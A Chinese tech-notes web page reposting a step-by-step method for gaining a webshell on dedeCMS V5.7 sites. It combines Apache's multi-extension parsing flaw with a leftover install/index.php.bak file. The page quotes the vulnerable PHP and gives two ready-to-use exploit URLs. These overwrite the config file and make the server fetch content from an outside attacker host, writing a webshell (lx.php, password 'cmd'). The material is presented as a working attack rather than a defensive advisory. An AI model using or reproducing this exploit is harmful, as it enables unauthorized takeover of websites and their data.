专注收集记录技术开发学习笔记、技术难点、解决方案
网站信息搜索 >> 请输入关键词:
您当前的位置: 首页 > 信息/网络安全

dedeCMS远道写入getshell(测试版本V5.7)

发布时间:2011-07-03 06:58:02 文章来源:www.iduyao.cn 采编人员:星星草
dedeCMS远程写入getshell(测试版本V5.7)

该漏洞必须结合apache的解析漏洞:

当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名。如果所有的扩展名Apache都不认识,那么变会按照httpd.conf配置中所指定的方式展示这个问题,一般默认情况下是“text/plain”这种方式。

dede在安装完成,如果没有删除install文件夹,在install下会有一个index.php.bak的备份文件,利用apache的解析漏洞,可以以php方式解析该文件。

在index.php.bak中有如下代码:

else if($step==11)
{
    require_once('../data/admin/config_update.php');
    $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";

    $sql_content = file_get_contents($rmurl);
    $fp = fopen($install_demo_name,'w');
    if(fwrite($fp,$sql_content))
        echo '  <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
    else
        echo '  <font color="red">[×]</font> 远程获取失败';
    unset($sql_content);
    fclose($fp);
    exit();
}

可以利用index.php.bak文件 step 11中的代码,来在服务器上写入任意文件!
由于远程要包含文件的服务器地址是通过 $updateHost 控制的,那我们首先利用代码来改写../data/admin/config_update.php这个文件,使我们可以自定义 $updateHost的值,那样就可以引用任何我们想要引用的文件啦!
利用方法:

随便找一个网站 新建个127.0.0.1/dedecms/demodata.a.txt

分别依次访问一下链接

http://www.xxxx.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

http://www.xxxx.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=lx.php&updateHost=http://www.wwaattssuunn.com/127.0.0.1/

即可生成http://www.xxxx.com/install/lx.php    密码cmd

 

友情提示:
信息收集于互联网,如果您发现错误或造成侵权,请及时通知本站更正或删除,具体联系方式见页面底部联系我们,谢谢。

其他相似内容:

热门推荐: